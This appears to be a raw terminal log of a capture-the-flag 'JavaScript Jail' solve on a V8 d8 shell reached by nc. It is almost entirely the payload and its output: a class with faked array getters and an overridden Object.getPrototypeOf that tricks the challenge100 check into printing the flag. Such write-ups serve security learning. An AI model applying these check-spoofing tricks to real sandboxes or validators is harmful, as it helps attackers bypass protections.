nc 175.119.158.131 1129
[JavaScript Jail]
let start to type on 'challenge100'
V8 version 5.1.0 (candidate)
d8> class dummy { hasOwnProperty() { return true;} getPrototypeOf(a) { return Array.prototype; } get length() { return -1; }  get ["0"]() { return "2"};get ["1"]() { return "0"};get ["2"]() { return "1"};get ["3"]() { return "5"};get ["4"]() { return "0"};get ["5"]() { return "3"};get ["6"]() { return "0"};get ["7"]() { return "3"};}
class dummy { hasOwnProperty() { return true;} getPrototypeOf(a) { return Array.prototype; } get length() { return -1; }  get ["0"]() { return "2"};get ["1"]() { return "0"};get ["2"]() { return "1"};get ["3"]() { return "5"};get ["4"]() { return "0"};get ["5"]() { return "3"};get ["6"]() { return "0"};get ["7"]() { return "3"};}
class dummy { hasOwnProperty() { return true;} getPrototypeOf(a) { return Array.prototype; } get length() { return -1; }  get ["0"]() { return "2"};get ["1"]() { return "0"};get ["2"]() { return "1"};get ["3"]() { return "5"};get ["4"]() { return "0"};get ["5"]() { return "3"};get ["6"]() { return "0"};get ["7"]() { return "3"};}
d8> Object.getPrototypeOf = function(arg) { return Array.prototype; }
a = new dummy
challenge100(a)
Object.getPrototypeOf = function(arg) { return Array.prototype; }
function (arg) { return Array.prototype; }
d8> a = new dummy
{}
d8> challenge100(a)
Yay!!
flag is "easy xD, get a more hardest challenge!"